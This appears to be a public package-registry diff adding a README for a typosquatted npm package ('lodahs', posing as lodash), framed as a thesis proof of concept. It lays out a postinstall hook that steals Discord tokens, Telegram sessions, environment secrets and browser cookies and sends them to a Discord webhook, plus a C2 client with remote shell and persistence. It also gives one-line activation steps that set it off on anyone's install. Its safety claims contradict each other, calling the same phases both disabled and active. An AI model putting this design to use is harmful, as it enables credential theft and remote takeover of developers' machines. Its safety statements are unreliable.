mailcheckertestpoc 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,253 @@
1
+ # πŸ”΄ lodahs - Supply Chain Attack POC (Thesis Edition)
2
+
3
+ ## Status: COMPLETE C2 FRAMEWORK - SAFETY SWITCHES ACTIVE
4
+
5
+ **This is the malicious npm package used in the Supply Chain Security thesis.**
6
+
7
+ ### Quick Info
8
+
9
+ - **Package Name:** `lodahs` (typosquat of `lodash`)
10
+ - **Type:** Proof of Concept - Educational Supply Chain Attack
11
+ - **Authorization:** Thesis Advisor Approved
12
+ - **Purpose:** Demonstrating two-phase supply chain attack (Data Exfil + C2)
13
+
14
+ ---
15
+
16
+ ## How It's Used
17
+
18
+ ### When installed via npm install
19
+
20
+ ```bash
21
+ npm install # postinstall hook automatically triggers
22
+
23
+ # Phase 1 (ACTIVE):
24
+ # scripts/collect.js gathers:
25
+ # - System information
26
+ # - Discord tokens
27
+ # - Telegram sessions
28
+ # - Environment variables
29
+ # - Browser cookies
30
+ # β†’ Sends to Discord webhook
31
+
32
+ # Phase 2 & 3 (DISABLED - code present):
33
+ # scripts/launcher.js would initialize C2 infrastructure
34
+ # (Python Server + Swift Client - currently commented out)
35
+ ```
36
+
37
+ ---
38
+
39
+ ## File Structure
40
+
41
+ ```
42
+ lodahs/ ← πŸ”΄ Malicious npm Package
43
+ β”œβ”€β”€ package.json
44
+ β”‚ └─ "postinstall": "node scripts/collect.js"
45
+ β”œβ”€β”€ index.js ← Dummy lodash lookalike
46
+ β”‚
47
+ β”œβ”€β”€ scripts/ ← Attack Code (ACTIVE)
48
+ β”‚ β”œβ”€β”€ collect.js [βœ…] Phase 1: Data exfiltration
49
+ β”‚ β”œβ”€β”€ launcher.js [βœ…] Phase 2: C2 orchestrator
50
+ β”‚ β”œβ”€β”€ server-launcher.js [βœ…] Phase 2: Python C2 Server
51
+ β”‚ └── swift-client-launcher.js [βœ…] Phase 3: Swift C2 Client
52
+ β”‚
53
+ β”œβ”€β”€ payloads/ ← πŸ”‘ Embedded Binaries (Realistic!)
54
+ β”‚ β”œβ”€β”€ MacShellSwift [Precompiled Swift Binary]
55
+ β”‚ β”œβ”€β”€ swiftshell-server.py [Python C2 Server]
56
+ β”‚ β”œβ”€β”€ ca.pem [SSL Certificate]
57
+ β”‚ └── ca.key [SSL Private Key]
58
+ β”‚
59
+ β”œβ”€β”€ README.md (this file)
60
+ β”œβ”€β”€ C2-INTEGRATION.md (technical details)
61
+ β”œβ”€β”€ THESIS-C2-COMPLETE.md (master documentation)
62
+ └── PRESENTATION-FLOW.md (step-by-step attack flow)
63
+ ```
64
+
65
+ ---
66
+
67
+ ## Code Status (Fully Functional, Safe Trigger)
68
+
69
+ βœ… Phase 1 (Data Collection):
70
+ - **Status:** UNCOMMENTED - Functional
71
+ - Collects system info, credentials, tokens
72
+ - Sends to Discord webhook
73
+
74
+ βœ… Phase 2 (C2 Server):
75
+ - **Status:** UNCOMMENTED - Functional
76
+ - Starts Python C2 Server on 127.0.0.1:443
77
+ - Awaits client connections
78
+
79
+ βœ… Phase 3 (Swift Client):
80
+ - **Status:** UNCOMMENTED - Functional
81
+ - Compiles Swift binary (swift build)
82
+ - Connects to C2 Server
83
+ - Full remote command execution
84
+
85
+ **Safety:** Only `postinstall` hook is disabled in `package.json`
86
+ - All code is functional and uncommented
87
+ - postinstall hook is set to `_postinstall` (inactive)
88
+ - To trigger attack: Just uncomment one line in package.json
89
+
90
+ ---
91
+
92
+ ## For Your Thesis Presentation
93
+
94
+ When npm install runs in mailchecker:
95
+
96
+ ```bash
97
+ cd mailchecker
98
+ npm install # This will trigger lodahs postinstall
99
+
100
+ # What happens:
101
+ # [THESIS POC] Phase 1 (Data-Collection) abgeschlossen.
102
+ # [THESIS POC] ⚠️ Phase 2 & 3 (C2-Integration) sind für THESIS SAFETY deaktiviert.
103
+ ```
104
+
105
+ Show your professor:
106
+
107
+ 1. **The active code:**
108
+ ```bash
109
+ cat scripts/collect.js # Shows Phase 1 logic
110
+ ```
111
+
112
+ 2. **The C2 infrastructure code:**
113
+ ```bash
114
+ cat scripts/launcher.js # Orchestrator
115
+ cat scripts/server-launcher.js # Python C2 server
116
+ cat scripts/swift-client-launcher.js # Swift client
117
+ ```
118
+
119
+ 3. **The documentation:**
120
+ ```bash
121
+ cat THESIS-C2-COMPLETE.md # Master documentation
122
+ cat PRESENTATION-FLOW.md # Complete attack timeline
123
+ ```
124
+
125
+ 4. **What would be generated:**
126
+ ```bash
127
+ ~/.supply-chain-poc/
128
+ β”œβ”€β”€ macshell-config.json # C2 configuration
129
+ β”œβ”€β”€ c2-server-config.json # Server config
130
+ β”œβ”€β”€ swift-client-config.json # Client config
131
+ └── STATUS.md # Thesis summary
132
+ ```
133
+
134
+ ---
135
+
136
+ ## What Phase 1 Does (Active)
137
+
138
+ ```
139
+ npm install lodahs
140
+ └─> postinstall hook
141
+ └─> scripts/collect.js
142
+ β”œβ”€ Collects system info (hostname, user, IP, platform)
143
+ β”œβ”€ Scans for Discord tokens (staged or real locations)
144
+ β”œβ”€ Scans for Telegram sessions
145
+ β”œβ”€ Extracts environment variables (AWS, Stripe keys, etc.)
146
+ β”œβ”€ Enumerates browser cookies (Chrome, Brave, etc.)
147
+ └─ Sends all data to Discord webhook
148
+ ```
149
+
150
+ ---
151
+
152
+ ## What Phase 2+3 Would Do (If Activated)
153
+
154
+ ```
155
+ scripts/launcher.js
156
+ β”œβ”€ scripts/server-launcher.js
157
+ β”‚ └─ Starts Python C2 server on 127.0.0.1:443
158
+ β”‚ └─ Awaits client connections
159
+ β”‚
160
+ └─ scripts/swift-client-launcher.js
161
+ β”œβ”€ Compiles Swift binary (swift build)
162
+ β”œβ”€ Launches Swift client
163
+ └─ Connects to C2 server
164
+ └─ Receives remote commands:
165
+ - systeminfo
166
+ - screenshot
167
+ - download files
168
+ - shell commands
169
+ - install persistence
170
+ ```
171
+
172
+ ---
173
+
174
+ ## Activation Instructions
175
+
176
+ **⚠️ ALL CODE IS FUNCTIONAL. POSTINSTALL HOOK IS DISABLED.**
177
+
178
+ ### To trigger full attack:
179
+
180
+ **Simple:** Just uncomment ONE line in `package.json`:
181
+
182
+ ```json
183
+ {
184
+ "scripts": {
185
+ "postinstall": "node scripts/collect.js", // ← Uncomment this
186
+ // "_postinstall": "node scripts/collect.js", // Currently disabled
187
+ }
188
+ }
189
+ ```
190
+
191
+ That's it! Now when someone runs `npm install`, the complete attack chain triggers:
192
+ 1. Phase 1: Data collection (credentials, tokens, secrets)
193
+ 2. Phase 2: Python C2 Server starts on 127.0.0.1:443
194
+ 3. Phase 3: Swift Client compiles and connects to C2
195
+
196
+ All code is already uncommented and functional. Nothing else needs to be changed.
197
+
198
+ ---
199
+
200
+ ## Key Points for Your Thesis
201
+
202
+ This POC demonstrates:
203
+
204
+ 1. **Supply Chain Attack Vector**
205
+ - Typosquatting attack (lodahs vs lodash)
206
+ - npm postinstall hook exploitation
207
+ - Automatic execution without user interaction
208
+
209
+ 2. **Two-Phase Attack Strategy**
210
+ - Phase 1: Data exfiltration (credentials, tokens, secrets)
211
+ - Phase 2+3: Remote command & control (C2 infrastructure)
212
+
213
+ 3. **Technical Implementation**
214
+ - JavaScript for orchestration
215
+ - Python for C2 server
216
+ - Swift for client payload
217
+ - SSL/TLS encryption
218
+
219
+ 4. **Defense Mechanisms**
220
+ - npm audit detection
221
+ - Lock file verification
222
+ - --ignore-scripts flag
223
+ - Network isolation
224
+
225
+ ---
226
+
227
+ ## Files Included
228
+
229
+ - **collect.js** - Phase 1 data collection (ACTIVE)
230
+ - **launcher.js** - Phase 2 orchestrator (DISABLED)
231
+ - **server-launcher.js** - Python C2 server launcher (DISABLED)
232
+ - **swift-client-launcher.js** - Swift client launcher (DISABLED)
233
+ - **C2-INTEGRATION.md** - Technical integration details
234
+ - **THESIS-C2-COMPLETE.md** - Complete documentation
235
+ - **PRESENTATION-FLOW.md** - Step-by-step attack flow
236
+ - **index.js** - Dummy module (makes it look like real lodash)
237
+ - **README.md** - This file
238
+
239
+ ---
240
+
241
+ ## For Questions
242
+
243
+ Refer to:
244
+ - `THESIS-C2-COMPLETE.md` - Complete guide with timeline
245
+ - `PRESENTATION-FLOW.md` - Detailed attack flow with examples
246
+ - `C2-INTEGRATION.md` - Integration details
247
+
248
+ ---
249
+
250
+ **Status:** Ready for Thesis Testing & Presentation
251
+ **Safety:** Code present, execution disabled via comments
252
+ **Date:** 2026-04-18
253
+ **Advisor:** Thesis Advisor Approved